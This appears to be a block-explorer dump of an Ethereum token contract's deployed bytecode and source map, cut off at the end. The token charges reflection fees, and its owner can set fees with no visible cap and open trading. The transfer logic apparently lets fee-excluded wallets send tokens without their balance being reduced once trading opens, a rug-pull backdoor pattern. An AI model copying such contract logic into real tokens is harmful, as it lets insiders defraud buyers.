c6f77616e6365a2646970667358221220eb412ca9cc6b9cafe86652746bc9ad799444aed6f1918a64262fc5d84e7dd39b64736f6c63430008150033

Deployed Bytecode

0x608060405260043610610134575f3560e01c80638da5cb5b116100a8578063a9059cbb1161006d578063a9059cbb14610327578063c3c8cd8014610346578063c8c8ebe41461035a578063c9567bf91461036f578063dd62ed3e14610383578063f2fde38b146103c7575f80fd5b80638da5cb5b146102c25780638f3fa860146102de57806395d89b411461013f5780639f00b4a1146102f3578063a2a957bb14610308575f80fd5b8063313ce567116100f9578063313ce5671461022b57806349bd5a5e146102465780636fc3eaec1461026557806370a082311461027b578063715018a61461029a578063751039fc146102ae575f80fd5b806306fdde031461013f578063095ea7b3146101825780631694505e146101b157806318160ddd146101e857806323b872dd1461020c575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b50604080518082018252600c81526be5a496e58d96e5b08fe593a560a01b6020820152905161017991906113d4565b60405180910390f35b34801561018d575f80fd5b506101a161019c366004611433565b6103e6565b6040519015158152602001610179565b3480156101bc575f80fd5b506011546101d0906001600160a01b031681565b6040516001600160a01b039091168152602001610179565b3480156101f3575f80fd5b50670de0b6b3a76400005b604051908152602001610179565b348015610217575f80fd5b506101a161022636600461145d565b6103fc565b348015610236575f80fd5b5060405160098152602001610179565b348015610251575f80fd5b506012546101d0906001600160a01b031681565b348015610270575f80fd5b50610279610463565b005b348015610286575f80fd5b506101fe61029536600461149b565b6104ad565b3480156102a5575f80fd5b506102796104ce565b3480156102b9575f80fd5b50610279610548565b3480156102cd575f80fd5b505f546001600160a01b03166101d0565b3480156102e9575f80fd5b506101fe60145481565b3480156102fe575f80fd5b506101fe60155481565b348015610313575f80fd5b506102796103223660046114b6565b610594565b348015610332575f80fd5b506101a1610341366004611433565b6105d1565b348015610351575f80fd5b506102796105dd565b348015610365575f80fd5b506101fe60135481565b34801561037a575f80fd5b5061027961062f565b34801561038e575f80fd5b506101fe61039d3660046114e5565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b3480156103d2575f80fd5b506102796103e136600461149b565b61066d565b5f6103f2338484610754565b5060015b92915050565b5f610408848484610877565b610459843361045485604051806060016040528060288152602001611660602891396001600160a01b038a165f9081526003602090815260408083203384529091529020549190610cfe565b610754565b5060019392505050565b600f546001600160a01b0316336001600160a01b0316148061049857506010546001600160a01b0316336001600160a01b0316145b6104a0575f80fd5b476104aa81610d36565b50565b6001600160a01b0381165f908152600260205260408120546103f690610d71565b5f546001600160a01b031633146105005760405162461bcd60e51b81526004016104f79061151c565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105715760405162461bcd60e51b81526004016104f79061151c565b60055460138190556014555f600781905560016008819055600991909155600a55565b5f546001600160a01b031633146105bd5760405162461bcd60e51b81526004016104f79061151c565b600793909355600991909155600855600a55565b5f6103f2338484610877565b600f546001600160a01b0316336001600160a01b0316148061061257506010546001600160a01b0316336001600160a01b0316145b61061a575f80fd5b5f610624306104ad565b90506104aa81610d8e565b5f546001600160a01b031633146106585760405162461bcd60e51b81526004016104f79061151c565b6012805460ff60a01b1916600160a01b179055565b5f546001600160a01b031633146106965760405162461bcd60e51b81526004016104f79061151c565b6001600160a01b0381166106fb5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104f7565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107b65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f7565b6001600160a01b0382166108175760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f7565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108db5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f7565b6001600160a01b03821661093d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f7565b5f811161099e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f7565b5f546001600160a01b038481169116148015906109c857505f546001600160a01b03838116911614155b15610bf457601254600160a01b900460ff16610a60575f546001600160a01b03848116911614610a605760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016104f7565b601354811115610ab25760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016104f7565b6012546001600160a01b03838116911614610b385760145481610ad4846104ad565b610ade9190611565565b1115610b385760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016104f7565b5f610b42306104ad565b601554601354919250821015908210610b5b5760135491505b808015610b725750601254600160a81b900460ff16155b8015610b8b57506012546001600160a01b038581169116145b8015610ba05750601254600160b01b900460ff165b8015610bc457506001600160a01b0385165f9081526004602052604090205460ff16155b8015610bd1575060155483115b15610bf157610bdf82610d8e565b478015610bef57610bef47610d36565b505b50505b6001600160a01b0383165f9081526004602052604090205460019060ff1680610c3457506001600160a01b0383165f9081526004602052604090205460ff165b80610c6657506012546001600160a01b03858116911614801590610c6657506012546001600160a01b03848116911614155b15610c7257505f610cec565b6012546001600160a01b038581169116148015610c9d57506011546001600160a01b03848116911614155b15610caf57600754600b55600854600c555b6012546001600160a01b038481169116148015610cda57506011546001600160a01b03858116911614155b15610cec57600954600b55600a54600c555b610cf884848484610efe565b50505050565b5f8184841115610d215760405162461bcd60e51b81526004016104f791906113d4565b505f610d2d8486611578565b95945050505050565b6010546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610d6d573d5f803e3d5ffd5b5050565b5f80610d7b610f2c565b9050610d878382610f4d565b9392505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610dd457610dd461158b565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e2b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e4f919061159f565b81600181518110610e6257610e6261158b565b6001600160a01b039283166020918202929092010152601154610e889130911684610754565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac94790610ec09085905f908690309042906004016115ba565b5f604051808303815f87803b158015610ed7575f80fd5b505af1158015610ee9573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b80610f0b57610f0b610f8e565b610f16848484610fbb565b80610cf857610cf8600d54600b55600e54600c55565b5f805f610f376110ef565b9092509050610f468282610f4d565b9250505090565b5f610d8783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061112e565b600b54158015610f9e5750600c54155b15610fa557565b600b8054600d55600c8054600e555f9182905555565b5f805f805f80610fca8761115a565b6001600160a01b038f165f90815260046020526040902054959b5093995091975095509350915060ff16158061100a5750601254600160a01b900460ff16155b1561104a576001600160a01b0389165f9081526002602052604090205461103190876111af565b6001600160a01b038a165f908152600260205260409020555b6001600160a01b0388165f9081526002602052604090205461106c90866111f0565b6001600160a01b0389165f9081526002602052604090205561108d8161124e565b6110978483611294565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516110dc91815260200190565b60405180910390a3505050505050505050565b6005545f908190670de0b6b3a76400006111098282610f4d565b82101561112557505060055492670de0b6b3a764000092509050565b90939092509050565b5f818361114e5760405162461bcd60e51b81526004016104f791906113d4565b505f610d2d8486611629565b5f805f805f805f805f6111728a600b54600c546112b8565b9250925092505f611181610f2c565b90505f805f6111928e87878761130a565b919e509c509a509598509396509194505050505091939550919395565b5f610d8783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cfe565b5f806111fc8385611565565b905083811015610d875760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104f7565b5f611257610f2c565b90505f6112648383611356565b305f9081526002602052604090205490915061128090826111f0565b305f90815260026020526040902055505050565b6005546112a190836111af565b6005556006546112b190826111f0565b6006555050565b5f8080806112d160646112cb8989611356565b90610f4d565b90505f6112e360646112cb8a89611356565b90505f6112fa826112f48b866111af565b906111af565b9992985090965090945050505050565b5f8080806113188886611356565b90505f6113258887611356565b90505f6113328888611356565b90505f611343826112f486866111af565b939b939a50919850919650505050505050565b5f825f0361136557505f6103f6565b5f6113708385611648565b90508261137d8583611629565b14610d875760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104f7565b5f6020808352835180828501525f5b818110156113ff578581018301518582016040015282016113e3565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146104aa575f80fd5b5f8060408385031215611444575f80fd5b823561144f8161141f565b946020939093013593505050565b5f805f6060848603121561146f575f80fd5b833561147a8161141f565b9250602084013561148a8161141f565b929592945050506040919091013590565b5f602082840312156114ab575f80fd5b8135610d878161141f565b5f805f80608085870312156114c9575f80fd5b5050823594602084013594506040840135936060013592509050565b5f80604083850312156114f6575f80fd5b82356115018161141f565b915060208301356115118161141f565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b808201808211156103f6576103f6611551565b818103818111156103f6576103f6611551565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156115af575f80fd5b8151610d878161141f565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156116085784516001600160a01b0316835293830193918301916001016115e3565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261164357634e487b7160e01b5f52601260045260245ffd5b500490565b80820281158282048414176103f6576103f661155156fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220eb412ca9cc6b9cafe86652746bc9ad799444aed6f1918a64262fc5d84e7dd39b64736f6c63430008150033

Deployed Bytecode Sourcemap

4333:12408:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6696:83;;;;;;;;;;-1:-1:-1;6766:5:0;;;;;;;;;;;-1:-1:-1;;;6766:5:0;;;;6696:83;;;;6766:5;6696:83;:::i;:::-;;;;;;;;7626:193;;;;;;;;;;-1:-1:-1;7626:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7626:193:0;1023:187:1;5559:41:0;;;;;;;;;;-1:-1:-1;5559:41:0;;;;-1:-1:-1;;;;;5559:41:0;;;;;;-1:-1:-1;;;;;1404:32:1;;;1386:51;;1374:2;1359:18;5559:41:0;1215:228:1;6973:100:0;;;;;;;;;;-1:-1:-1;4863:15:0;6973:100;;;1594:25:1;;;1582:2;1567:18;6973:100:0;1448:177:1;7827:446:0;;;;;;;;;;-1:-1:-1;7827:446:0;;;;;:::i;:::-;;:::i;6882:83::-;;;;;;;;;;-1:-1:-1;6882:83:0;;4578:1;2233:36:1;;2221:2;2206:18;6882:83:0;2091:184:1;5607:28:0;;;;;;;;;;-1:-1:-1;5607:28:0;;;;-1:-1:-1;;;;;5607:28:0;;;15109:219;;;;;;;;;;;;;:::i;:::-;;7081:138;;;;;;;;;;-1:-1:-1;7081:138:0;;;;;:::i;:::-;;:::i;3924:148::-;;;;;;;;;;;;;:::i;11409:238::-;;;;;;;;;;;;;:::i;3710:79::-;;;;;;;;;;-1:-1:-1;3748:7:0;3775:6;-1:-1:-1;;;;;3775:6:0;3710:79;;5825:51;;;;;;;;;;;;;;;;5883:47;;;;;;;;;;;;;;;;10614:277;;;;;;;;;;-1:-1:-1;10614:277:0;;;;;:::i;:::-;;:::i;7227:199::-;;;;;;;;;;-1:-1:-1;7227:199:0;;;;;:::i;:::-;;:::i;14877:224::-;;;;;;;;;;;;;:::i;5760:58::-;;;;;;;;;;;;;;;;14527:81;;;;;;;;;;;;;:::i;7434:184::-;;;;;;;;;;-1:-1:-1;7434:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;7583:18:0;;;7551:7;7583:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7434:184;4080:244;;;;;;;;;;-1:-1:-1;4080:244:0;;;;;:::i;:::-;;:::i;7626:193::-;7728:4;7750:39;446:10;7773:7;7782:6;7750:8;:39::i;:::-;-1:-1:-1;7807:4:0;7626:193;;;;;:::o;7827:446::-;7959:4;7976:36;7986:6;7994:9;8005:6;7976:9;:36::i;:::-;8023:220;8046:6;446:10;8094:138;8150:6;8094:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8094:19:0;;;;;;:11;:19;;;;;;;;446:10;8094:33;;;;;;;;;;:37;:138::i;:::-;8023:8;:220::i;:::-;-1:-1:-1;8261:4:0;7827:446;;;;;:::o;15109:219::-;15175:12;;-1:-1:-1;;;;;15175:12:0;446:10;-1:-1:-1;;;;;15159:28:0;;:60;;;-1:-1:-1;15207:12:0;;-1:-1:-1;;;;;15207:12:0;446:10;-1:-1:-1;;;;;15191:28:0;;15159:60;15151:69;;;;;;15260:21;15292:28;15260:21;15292:8;:28::i;:::-;15140:188;15109:219::o;7081:138::-;-1:-1:-1;;;;;7194:16:0;;7147:7;7194:16;;;:7;:16;;;;;;7174:37;;:19;:37::i;3924:148::-;3837:6;;-1:-1:-1;;;;;3837:6:0;446:10;3837:22;3829:67;;;;-1:-1:-1;;;3829:67:0;;;;;;;:::i;:::-;;;;;;;;;4031:1:::1;4015:6:::0;;3994:40:::1;::::0;-1:-1:-1;;;;;4015:6:0;;::::1;::::0;3994:40:::1;::::0;4031:1;;3994:40:::1;4062:1;4045:19:::0;;-1:-1:-1;;;;;;4045:19:0::1;::::0;;3924:148::o;11409:238::-;3837:6;;-1:-1:-1;;;;;3837:6:0;446:10;3837:22;3829:67;;;;-1:-1:-1;;;3829:67:0;;;;;;;:::i;:::-;11486:13:::1;::::0;11463:20:::1;:36:::0;;;11510:13:::1;:29:::0;-1:-1:-1;11550:12:0::1;:16:::0;;;11587:1:::1;11577:7;:11:::0;;;11599:13:::1;:17:::0;;;;-1:-1:-1;11627:12:0;11409:238::o;10614:277::-;3837:6;;-1:-1:-1;;;;;3837:6:0;446:10;3837:22;3829:67;;;;-1:-1:-1;;;3829:67:0;;;;;;;:::i;:::-;10748:12:::1;:28:::0;;;;10787:13:::1;:30:::0;;;;10828:7:::1;:21:::0;10860:8:::1;:23:::0;10614:277::o;7227:199::-;7332:4;7354:42;446:10;7378:9;7389:6;7354:9;:42::i;14877:224::-;14943:12;;-1:-1:-1;;;;;14943:12:0;446:10;-1:-1:-1;;;;;14927:28:0;;:60;;;-1:-1:-1;14975:12:0;;-1:-1:-1;;;;;14975:12:0;446:10;-1:-1:-1;;;;;14959:28:0;;14927:60;14919:69;;;;;;14999:23;15025:24;15043:4;15025:9;:24::i;:::-;14999:50;;15060:33;15077:15;15060:16;:33::i;14527:81::-;3837:6;;-1:-1:-1;;;;;3837:6:0;446:10;3837:22;3829:67;;;;-1:-1:-1;;;3829:67:0;;;;;;;:::i;:::-;14578:15:::1;:22:::0;;-1:-1:-1;;;;14578:22:0::1;-1:-1:-1::0;;;14578:22:0::1;::::0;;14527:81::o;4080:244::-;3837:6;;-1:-1:-1;;;;;3837:6:0;446:10;3837:22;3829:67;;;;-1:-1:-1;;;3829:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;4169:22:0;::::1;4161:73;;;::::0;-1:-1:-1;;;4161:73:0;;4086:2:1;4161:73:0::1;::::0;::::1;4068:21:1::0;4125:2;4105:18;;;4098:30;4164:34;4144:18;;;4137:62;-1:-1:-1;;;4215:18:1;;;4208:36;4261:19;;4161:73:0::1;3884:402:1::0;4161:73:0::1;4271:6;::::0;;4250:38:::1;::::0;-1:-1:-1;;;;;4250:38:0;;::::1;::::0;4271:6;::::1;::::0;4250:38:::1;::::0;::::1;4299:6;:17:::0;;-1:-1:-1;;;;;;4299:17:0::1;-1:-1:-1::0;;;;;4299:17:0;;;::::1;::::0;;;::::1;::::0;;4080:244::o;11032:369::-;-1:-1:-1;;;;;11159:19:0;;11151:68;;;;-1:-1:-1;;;11151:68:0;;4493:2:1;11151:68:0;;;4475:21:1;4532:2;4512:18;;;4505:30;4571:34;4551:18;;;4544:62;-1:-1:-1;;;4622:18:1;;;4615:34;4666:19;;11151:68:0;4291:400:1;11151:68:0;-1:-1:-1;;;;;11238:21:0;;11230:68;;;;-1:-1:-1;;;11230:68:0;;4898:2:1;11230:68:0;;;4880:21:1;4937:2;4917:18;;;4910:30;4976:34;4956:18;;;4949:62;-1:-1:-1;;;5027:18:1;;;5020:32;5069:19;;11230:68:0;4696:398:1;11230:68:0;-1:-1:-1;;;;;11309:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;11361:32;;1594:25:1;;;11361:32:0;;1567:18:1;11361:32:0;;;;;;;11032:369;;;:::o;11655:2275::-;-1:-1:-1;;;;;11777:18:0;;11769:68;;;;-1:-1:-1;;;11769:68:0;;5301:2:1;11769:68:0;;;5283:21:1;5340:2;5320:18;;;5313:30;5379:34;5359:18;;;5352:62;-1:-1:-1;;;5430:18:1;;;5423:35;5475:19;;11769:68:0;5099:401:1;11769:68:0;-1:-1:-1;;;;;11856:16:0;;11848:64;;;;-1:-1:-1;;;11848:64:0;;5707:2:1;11848:64:0;;;5689:21:1;5746:2;5726:18;;;5719:30;5785:34;5765:18;;;5758:62;-1:-1:-1;;;5836:18:1;;;5829:33;5879:19;;11848:64:0;5505:399:1;11848:64:0;11940:1;11931:6;:10;11923:64;;;;-1:-1:-1;;;11923:64:0;;6111:2:1;11923:64:0;;;6093:21:1;6150:2;6130:18;;;6123:30;6189:34;6169:18;;;6162:62;-1:-1:-1;;;6240:18:1;;;6233:39;6289:19;;11923:64:0;5909:405:1;11923:64:0;3748:7;3775:6;-1:-1:-1;;;;;12004:15:0;;;3775:6;;12004:15;;;;:32;;-1:-1:-1;3748:7:0;3775:6;-1:-1:-1;;;;;12023:13:0;;;3775:6;;12023:13;;12004:32;12000:1196;;;12093:15;;-1:-1:-1;;;12093:15:0;;;;12088:148;;3748:7;3775:6;-1:-1:-1;;;;;12137:15:0;;;3775:6;;12137:15;12129:91;;;;-1:-1:-1;;;12129:91:0;;6521:2:1;12129:91:0;;;6503:21:1;6560:2;6540:18;;;6533:30;6599:34;6579:18;;;6572:62;6670:33;6650:18;;;6643:61;6721:19;;12129:91:0;6319:427:1;12129:91:0;12270:20;;12260:6;:30;;12252:71;;;;-1:-1:-1;;;12252:71:0;;6953:2:1;12252:71:0;;;6935:21:1;6992:2;6972:18;;;6965:30;7031;7011:18;;;7004:58;7079:18;;12252:71:0;6751:352:1;12252:71:0;12349:13;;-1:-1:-1;;;;;12343:19:0;;;12349:13;;12343:19;12340:146;;12417:13;;12407:6;12391:13;12401:2;12391:9;:13::i;:::-;:22;;;;:::i;:::-;:39;;12383:87;;;;-1:-1:-1;;;12383:87:0;;7572:2:1;12383:87:0;;;7554:21:1;7611:2;7591:18;;;7584:30;7650:34;7630:18;;;7623:62;-1:-1:-1;;;7701:18:1;;;7694:33;7744:19;;12383:87:0;7370:399:1;12383:87:0;12502:28;12533:24;12551:4;12533:9;:24::i;:::-;12611:14;;12669:20;;12502:55;;-1:-1:-1;12587:38:0;;;;12645:44;;12642:140;;12746:20;;12723:43;;12642:140;12802:7;:22;;;;-1:-1:-1;12814:10:0;;-1:-1:-1;;;12814:10:0;;;;12813:11;12802:22;:45;;;;-1:-1:-1;12834:13:0;;-1:-1:-1;;;;;12828:19:0;;;12834:13;;12828:19;12802:45;:63;;;;-1:-1:-1;12851:14:0;;-1:-1:-1;;;12851:14:0;;;;12802:63;:92;;;;-1:-1:-1;;;;;;12870:24:0;;;;;;:18;:24;;;;;;;;12869:25;12802:92;:119;;;;;12907:14;;12898:6;:23;12802:119;12798:387;;;12942:38;12959:20;12942:16;:38::i;:::-;13028:21;13072:22;;13068:102;;13119:31;13128:21;13119:8;:31::i;:::-;12923:262;12798:387;12038:1158;;12000:1196;-1:-1:-1;;;;;13272:24:0;;13208:12;13272:24;;;:18;:24;;;;;;13223:4;;13272:24;;;:50;;-1:-1:-1;;;;;;13300:22:0;;;;;;:18;:22;;;;;;;;13272:50;13271:102;;;-1:-1:-1;13336:13:0;;-1:-1:-1;;;;;13328:21:0;;;13336:13;;13328:21;;;;:44;;-1:-1:-1;13359:13:0;;-1:-1:-1;;;;;13353:19:0;;;13359:13;;13353:19;;13328:44;13267:602;;;-1:-1:-1;13400:5:0;13267:602;;;13483:13;;-1:-1:-1;;;;;13475:21:0;;;13483:13;;13475:21;:55;;;;-1:-1:-1;13514:15:0;;-1:-1:-1;;;;;13500:30:0;;;13514:15;;13500:30;;13475:55;13472:166;;;13570:12;;13551:16;:31;13615:7;;13601:11;:21;13472:166;13697:13;;-1:-1:-1;;;;;13691:19:0;;;13697:13;;13691:19;:55;;;;-1:-1:-1;13730:15:0;;-1:-1:-1;;;;;13714:32:0;;;13730:15;;13714:32;;13691:55;13687:169;;;13786:13;;13767:16;:32;13832:8;;13818:11;:22;13687:169;13881:41;13896:4;13902:2;13906:6;13914:7;13881:14;:41::i;:::-;11758:2172;11655:2275;;;:::o;1719:224::-;1839:7;1875:12;1867:6;;;;1859:29;;;;-1:-1:-1;;;1859:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1899:9:0;1911:5;1915:1;1911;:5;:::i;:::-;1899:17;1719:224;-1:-1:-1;;;;;1719:224:0:o;14429:90::-;14482:12;;:29;;-1:-1:-1;;;;;14482:12:0;;;;:29;;;;;14504:6;;14482:12;:29;:12;:29;14504:6;14482:12;:29;;;;;;;;;;;;;;;;;;;;;14429:90;:::o;8281:202::-;8376:7;8401:19;8423:10;:8;:10::i;:::-;8401:32;-1:-1:-1;8451:24:0;:7;8401:32;8451:11;:24::i;:::-;8444:31;8281:202;-1:-1:-1;;;8281:202:0:o;13938:483::-;6032:10;:17;;-1:-1:-1;;;;6032:17:0;-1:-1:-1;;;6032:17:0;;;14040:16:::1;::::0;;14054:1:::1;14040:16:::0;;;;;::::1;::::0;;-1:-1:-1;;14040:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;14040:16:0::1;14016:40;;14085:4;14067;14072:1;14067:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;14067:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;14111:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;14111:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;14067:7;;14111:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14101:4;14106:1;14101:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;14101:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;14176:15:::1;::::0;14144:62:::1;::::0;14161:4:::1;::::0;14176:15:::1;14194:11:::0;14144:8:::1;:62::i;:::-;14217:15;::::0;:196:::1;::::0;-1:-1:-1;;;14217:196:0;;-1:-1:-1;;;;;14217:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;14298:11;;14217:15:::1;::::0;14340:4;;14367::::1;::::0;14387:15:::1;::::0;14217:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;6072:10:0;:18;;-1:-1:-1;;;;6072:18:0;;;-1:-1:-1;;;;13938:483:0:o;15336:282::-;15492:7;15487:28;;15501:14;:12;:14::i;:::-;15526:44;15544:6;15552:9;15563:6;15526:17;:44::i;:::-;15586:7;15581:29;;15595:15;10962:17;;10943:16;:36;11004:12;;10990:11;:26;10899:125;10144:164;10186:7;10207:15;10224;10243:19;:17;:19::i;:::-;10206:56;;-1:-1:-1;10206:56:0;-1:-1:-1;10280:20:0;10206:56;;10280:11;:20::i;:::-;10273:27;;;;10144:164;:::o;2205:132::-;2263:7;2290:39;2294:1;2297;2290:39;;;;;;;;;;;;;;;;;:3;:39::i;14620:249::-;14667:16;;:21;:41;;;;-1:-1:-1;14692:11:0;;:16;14667:41;14663:54;;;14620:249::o;14663:54::-;14749:16;;;14729:17;:36;14791:11;;;14776:12;:26;-1:-1:-1;14815:20:0;;;;14846:15;14620:249::o;15626:689::-;15773:15;15803:23;15841:12;15868:23;15906:12;15933:13;15960:19;15971:7;15960:10;:19::i;:::-;-1:-1:-1;;;;;15995:26:0;;;;;;:18;:26;;;;;;15758:221;;-1:-1:-1;15758:221:0;;-1:-1:-1;15758:221:0;;-1:-1:-1;15758:221:0;-1:-1:-1;15758:221:0;-1:-1:-1;15758:221:0;-1:-1:-1;15995:26:0;;15994:27;;:47;;-1:-1:-1;16026:15:0;;-1:-1:-1;;;16026:15:0;;;;16025:16;15994:47;15990:126;;;-1:-1:-1;;;;;16076:15:0;;;;;;:7;:15;;;;;;:28;;16096:7;16076:19;:28::i;:::-;-1:-1:-1;;;;;16058:15:0;;;;;;:7;:15;;;;;:46;15990:126;-1:-1:-1;;;;;16147:18:0;;;;;;:7;:18;;;;;;:39;;16170:15;16147:22;:39::i;:::-;-1:-1:-1;;;;;16126:18:0;;;;;;:7;:18;;;;;:60;16197:16;16207:5;16197:9;:16::i;:::-;16224:23;16236:4;16242;16224:11;:23::i;:::-;16280:9;-1:-1:-1;;;;;16263:44:0;16272:6;-1:-1:-1;;;;;16263:44:0;;16291:15;16263:44;;;;1594:25:1;;1582:2;1567:18;;1448:177;16263:44:0;;;;;;;;15747:568;;;;;;15626:689;;;:::o;10316:290::-;10414:13;;10367:7;;;;4863:15;10493:31;10414:13;4863:15;10493:17;:31::i;:::-;10483:7;:41;10479:83;;;-1:-1:-1;;10534:13:0;;;4863:15;;-1:-1:-1;10316:290:0;-1:-1:-1;10316:290:0:o;10479:83::-;10581:7;;10590;;-1:-1:-1;10316:290:0;-1:-1:-1;10316:290:0:o;2345:223::-;2465:7;2500:12;2493:5;2485:28;;;;-1:-1:-1;;;2485:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2524:9:0;2536:5;2540:1;2536;:5;:::i;8491:626::-;8591:7;8613;8635;8657;8679;8701;8737:23;8762:12;8776:13;8806:51;8818:7;8827:16;;8845:11;;8806;:51::i;:::-;8736:121;;;;;;8868:19;8890:10;:8;:10::i;:::-;8868:32;;8912:15;8929:23;8954:12;8983:46;8995:7;9004:4;9010:5;9017:11;8983;:46::i;:::-;8911:118;;-1:-1:-1;8911:118:0;-1:-1:-1;8911:118:0;-1:-1:-1;9080:15:0;;-1:-1:-1;9097:4:0;;-1:-1:-1;9103:5:0;;-1:-1:-1;;;;;8491:626:0;;;;;;;:::o;1575:136::-;1633:7;1660:43;1664:1;1667;1660:43;;;;;;;;;;;;;;;;;:3;:43::i;1388:179::-;1446:7;;1478:5;1482:1;1478;:5;:::i;:::-;1466:17;;1507:1;1502;:6;;1494:46;;;;-1:-1:-1;;;1494:46:0;;9836:2:1;1494:46:0;;;9818:21:1;9875:2;9855:18;;;9848:30;9914:29;9894:18;;;9887:57;9961:18;;1494:46:0;9634:351:1;16323:211:0;16376:19;16398:10;:8;:10::i;:::-;16376:32;-1:-1:-1;16419:13:0;16435:22;:5;16376:32;16435:9;:22::i;:::-;16509:4;16493:22;;;;:7;:22;;;;;;16419:38;;-1:-1:-1;16493:33:0;;16419:38;16493:26;:33::i;:::-;16484:4;16468:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;16323:211:0:o;16542:159::-;16626:13;;:23;;16644:4;16626:17;:23::i;:::-;16610:13;:39;16673:10;;:20;;16688:4;16673:14;:20::i;:::-;16660:10;:33;-1:-1:-1;;16542:159:0:o;9125:469::-;9294:7;;;;9388:30;9414:3;9388:21;:7;9400:8;9388:11;:21::i;:::-;:25;;:30::i;:::-;9373:45;-1:-1:-1;9429:13:0;9445:28;9469:3;9445:19;:7;9457:6;9445:11;:19::i;:28::-;9429:44;-1:-1:-1;9484:23:0;9510:28;9429:44;9510:17;:7;9522:4;9510:11;:17::i;:::-;:21;;:28::i;:::-;9484:54;9574:4;;-1:-1:-1;9580:5:0;;-1:-1:-1;9125:469:0;;-1:-1:-1;;;;;9125:469:0:o;9602:534::-;9796:7;;;;9893:24;:7;9905:11;9893;:24::i;:::-;9875:42;-1:-1:-1;9928:12:0;9943:21;:4;9952:11;9943:8;:21::i;:::-;9928:36;-1:-1:-1;9975:13:0;9991:22;:5;10001:11;9991:9;:22::i;:::-;9975:38;-1:-1:-1;10024:23:0;10050:28;9975:38;10050:17;:7;10062:4;10050:11;:17::i;:28::-;10097:7;;;;-1:-1:-